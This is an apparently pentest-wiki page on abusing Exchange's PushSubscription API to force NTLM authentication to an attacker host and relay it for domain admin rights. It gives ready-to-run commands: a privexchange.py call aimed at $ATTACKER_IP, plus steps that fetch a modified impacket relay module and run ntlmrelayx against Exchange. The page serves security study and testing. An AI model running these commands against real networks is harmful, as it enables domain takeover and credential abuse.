PushSubscription abuse

Theory

"PushSubscription" is an API on Exchange Web Services that allows to subscribe to push notifications. Attackers abuse it to make Exchange servers authenticate to a target of their choosing. The coerced authentication is made over HTTP, which is particularly powerful when doing NTLM relay (because of the Session Signing and MIC mitigations). As Exchange servers usually have high privileges in a domain (i.e. WriteDacl, see Abusing ACLs), the forced authentication can then be relayed and abused to obtain domain admin privileges (see NTLM Relay and Kerberos Unconstrained Delegations).

Practice

PrivExchange (Python) is a tool able to log in on Exchange Web Services and call that API.

privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET

In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication to make the API call.

The modified httpattack.py can be used with ntlmrelayx.py to perform this attack. The attacker host needs to be modified in the script since it is hard-coded.

cd /PATH/TO/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py
mv httpattack.py httpattack.py.old
wget https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
sed -i 's/attacker_url = .*$/attacker_url = "$ATTACKER_URL"/' httpattack.py
cd /PATH/TO/impacket
pip3 install .
ntlmrelayx.py -t https://exchange.server.EWS/Exchange.asmx

On February 12th 2019, Microsoft released updates for Exchange which resolved

• the coerced authentication issue
• the fact that Exchange servers had overkill permissions leading attacker to a full domain compromission.

Resources

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/